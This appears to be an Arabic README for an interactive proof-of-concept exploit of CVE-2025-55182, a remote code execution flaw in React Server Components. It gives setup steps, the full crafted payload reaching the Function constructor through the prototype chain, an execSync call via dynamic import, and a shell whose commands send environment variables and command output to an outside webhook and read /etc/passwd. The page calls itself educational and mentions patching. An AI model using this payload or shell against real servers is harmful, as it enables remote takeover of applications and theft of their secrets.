
CVE-2025-55182 PoC تفاعلي - ثغرة RCE في React Server Components - بحث أمني تعليمي
صدفة تفاعلية لاستغلال CVE-2025-55182، وهي ثغرة تنفيذ كود عن بُعد في React Server Components.
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرّح بها فقط.
CVE-2025-55182 يؤثر على React Server Components (RSC) في:
تسمح الثغرة بتنفيذ كود عن بُعد (RCE) عبر حمولات خبيثة تُرسَل إلى Server Actions.
$@x للإشارة إلى كائنات Chunk الداخلية.then() (شبيهة بـ Promise)_response و_formData و_prefix مُتحكَم بهاFunction عبر التنقل في سلسلة النموذج الأولي (prototype chain)$3:constructor:constructor → Function constructor → RCE
git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install
عدّل exploit.js وحدّث هذه القيم:
const TARGET_URL = 'http://localhost:3000/' // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID' // Your webhook URL
احصل على webhook مجاني من: https://webhook.site
node exploit.js
react2shell> !test
[+] Sent! Check webhook
react2shell> whoami
[+] Sent: whoami
react2shell> ls -la
[+] Sent: ls -la
react2shell> !env
[+] Sent! Check webhook for env vars
تظهر النتائج على الـ webhook الخاص بك، وليس في الطرفية.
{
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': '<JAVASCRIPT_CODE>//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks'
}
}
next-action$@3 مرجعًا إلى Chunk$3:constructor:constructor إلى Function_prefix إلى Function() وتنفيذهrequire() غير متاحimport() الديناميكي بدلاً من ذلك:import("child_process").then(cp => cp.execSync("whoami"))
حدّث إلى هذه الإصدارات لإصلاح الثغرة:
رخصة MIT - لأغراض تعليمية فقط.
إثبات مفهوم لأبحاث أمنية - استخدمها بمسؤولية.
| الأمر | الوصف |
|---|
!test | اختبار ما إذا كان الاستغلال يعمل (يرسل تأكيدًا إلى webhook) |
!env | تسريب متغيرات البيئة (process.env) |
!js <code> | تنفيذ JavaScript مخصص |
!help | عرض المساعدة |
!exit | خروج |
<command> | تنفيذ أمر صدفة (على سبيل المثال: whoami, ls, cat /etc/passwd) |